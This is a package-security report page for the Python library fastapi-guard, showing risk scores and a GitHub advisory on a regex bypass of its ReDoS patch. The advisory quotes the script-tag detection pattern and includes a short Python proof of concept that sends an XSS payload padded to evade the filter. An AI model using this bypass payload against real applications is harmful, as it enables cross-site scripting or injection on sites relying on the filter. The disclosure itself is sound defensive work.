pypi package report

Is fastapi-guard safe?

2 known vulnerabilities, worst severity HIGH.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      No published models are known to use this package.


      cvss
      7.8
      high

      CVSS v4.0 base score out of 10

      epss
      0.87%
      medium

      chance of exploitation in 30 days, 59th percentile of all CVEs

      xyz score
      3.4
      low

      CyberXYZ composite out of 10

      fig. 01 — GHSA-rrf6-pxg8-684g, the advisory selected below

      // 2 advisories

      GHSA-rrf6-pxg8-684g

      HIGHGitHub ratingCVE-2025-54365
      // summary

      The regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.

      // details

      In version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS. https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f

      This commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below. r"<script[^>]*>[^<]*<\\/script\\s*>" -> <script[^>]{0,100}>[^<]{0,1000}<\\/script\\s{0,10}>

      This type of patch fails to catch cases where the string representing the attributes of a <script> tag exceeds 100 characters. Therefore, most of the regex patterns present in version 3.0.1 can be bypassed.

      // poc
      • clone the fastapi-guard repository
      • Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST.
      • After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.
      import requests
      
      URL = "<http://localhost:8000>"
      
      obvious_payload = {
          "obvious" : "<script>alert(1);</script>"
      }
      response = requests.post(url=URL, json=obvious_payload)
      print(f"[+] response of first request: {response.text}")
      
      bypassed_payload = {
          "suspicious" : f'<script id="i_can_bypass_regex_filtering{'a'*100}">alert(1)</script>'
      }
      
      response = requests.post(url=URL, json=bypassed_payload)
      print(f"[+] response of second request: {response.text}")
      // impact

      Due to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.

      // cvss v4.0 vector

      CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P

      Attack vector
      Network
      Attack complexity
      Low
      Attack requirements
      None
      Privileges required
      None
      User interaction
      None
      Confidentiality (vulnerable system)
      None
      Integrity (vulnerable system)
      Low
      Availability (vulnerable system)
      High
      Confidentiality (subsequent systems)
      None
      Integrity (subsequent systems)
      None
      Availability (subsequent systems)
      None
      Exploit maturity
      Proof of concept

      Checked 2026-11-07 at 23:23 UTC. The most recent advisory here was published 2025-07-23. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.